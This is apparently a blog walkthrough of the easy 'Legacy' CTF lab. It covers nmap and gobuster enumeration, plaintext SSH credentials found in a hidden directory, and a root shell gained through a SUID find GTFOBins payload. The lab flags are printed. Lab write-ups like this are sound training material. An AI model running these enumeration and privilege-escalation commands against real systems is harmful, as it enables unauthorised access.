There’s a quiet revolution happening in the cyber lab world. While some platforms try to dazzle with complexity, others double down on solid foundational training. One such new kid on the block is VulnOS, and their first lab — Legacy — proves that sometimes, simple is strategic.

🧩 Difficulty: Easy
🕒 Est. Time: ~45 minutes
🔗 Launch Lab

Let’s break it down chapter by chapter.

“You can’t pwn what you haven’t mapped.”

The first prompt pushes us to do what any pentester should — scan first, exploit later. The goal? Identify all open TCP ports and determine the service/version running on the highest open port.

So we roll out:

nmap -sV -A -sC 10.0.128.13

Here’s what we uncover:

22/tcp   -> SSH (OpenSSH 8.9p1)
80/tcp   -> HTTP (Apache 2.4.52)
8000/tcp -> HTTP (Apache 2.4.52)

The highest open port is 8000 → running Apache 2.4.52.

This lines up with the hint in the lab’s instructions:

“Identify the service version on the highest port.” → That’s what led us to submit:

📍 Flag:

flag{Apache httpd 2.4.52}

“Enumeration isn’t optional — it’s survival.”

Next, we’re told to enumerate the web server on port 80 and search for hidden files or directories.

When a lab nudges you like that, it’s practically yelling:

“Hey, run Gobuster already.”

So we do:

gobuster dir -u http://10.0.128.13/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50

Result:

We strike gold with:

/.secret

Peeking inside:

We find credentials.txt with:

Username: aditya  
Password: Cyber@123

This matched the objective perfectly — “find credentials for a user.”

📍 Flag:

flag{Cyber@123}

“Credentials without access is just trivia.”

With the creds in hand, we try the obvious — SSH:

ssh [email protected]

Inputting Cyber@123, we’re in.

From there:

ls
cat user.txt

We find and capture the user flag.

📍 Flag:

flag{USER_FLAG_CAPTURED_WELL_DONE}

🗿 Pro tip: Always check the home directory first. The user flag’s hiding in plain sight.

“Root isn’t a right, it’s an earned privilege.”

This is where most beginner-friendly labs get interesting.

We try:

sudo -l

Denied. No sudo privileges.

Now what? The instructions guide us clearly:

“Find SUID binaries and exploit via GTFOBins.”

I’ll be real — 10 hours of guessing won’t beat 10 minutes of reading. So I follow the hint and run:

find / -perm -4000 -type f 2>/dev/null

From the list, /usr/bin/find stands out. We hop onto GTFOBins, which confirms it’s exploitable via SUID:

Payload:

/usr/bin/find . -exec /bin/sh -p \; -quit

Boom — root shell.

whoami
root
cat /root/root.txt

📍 Flag:

flag{LEGACY_SYSTEM_COMPROMISED_EXCELLENT_WORK}

Legacy is more than just an “easy” lab — it’s a reminder that pentesting is about process. Each chapter teaches something important:

✅ Use Nmap intelligently

✅ Trust enumeration tools, but trust your eyes more

✅ Credentials don’t always mean immediate victory — they’re only step one

✅ Privilege escalation isn’t magic — it’s methodical

🗿 “Read the hints. Use your brain. Google the weird stuff. That’s the way.”

This lab is perfect for learners aiming to connect the dots between basic tools and real-world thinking. Definitely worth a try — even if you’re not chasing flags, you’re building mindset.

If you found this walkthrough helpful, insightful, or even mildly entertaining 🗿 — consider showing some love:

🔗 Follow me for more content on:

• 🛡️ Cybersecurity deep dives
• 🧠 CTF writeups & real-world labs
• ⚙️ Open-source tools & scripts

📍 LinkedIn: linkedin.com/in/aditya-bhatt3010
📍 Medium: medium.com/@adityabhatt3010
📍 GitHub: github.com/AdityaBhatt3010

🚀 Also, if you haven’t yet — check out VulnOS and try the Legacy Lab for yourself:
🔗 https://vulnos.tech

🗿 Until next time,
Hack smart, stay curious, and always read the README.
~ Aditya Bhatt